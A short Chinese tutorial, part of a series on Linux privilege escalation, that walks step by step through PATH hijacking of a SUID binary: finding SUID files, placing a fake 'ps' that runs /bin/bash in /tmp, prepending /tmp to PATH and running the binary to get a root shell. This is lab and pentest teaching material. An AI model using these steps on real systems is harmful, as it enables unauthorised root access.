Linux提权之环境劫持提权(九)
环境劫持需要的两个条件 存在带有suid的文件 suid文件存在系统命令
还是一样的环境 跟第八篇 这里不再多说了
首先我们接着上篇文章 继续
首先我们退出到根目录
然后我们要查找suid文件
find / -perm -u=s -type f 2>/dev/null
输入 ps 或者 script/shell 通常这个文件是存放的系统的ps指令
效果是一样的
这个demo.c就是shell文件的源代码
我们同样可以使用xxd命令来将里面的带有的命令提取出来。
xxd /script/shell | grep ps
然后我们回到tmp临时目录
把这个bin/bash 写入 ps
echo "/bin/bash" > ps
然后把权限设置为最高权限
chmod 777 ps
打印一下我们默认的路径
ehco $PATH
把我们的tmp的路径添加到当前环境路径
export PATH=/tmp:$PATH
然后再次打印输出 发现已经加入了tmp目录
弄好之后再访问 /script目录 执行shell文件,允许的时候首先会采用/tmp目录的ps文件作为命令
cd /script
./shell
然后出现root用户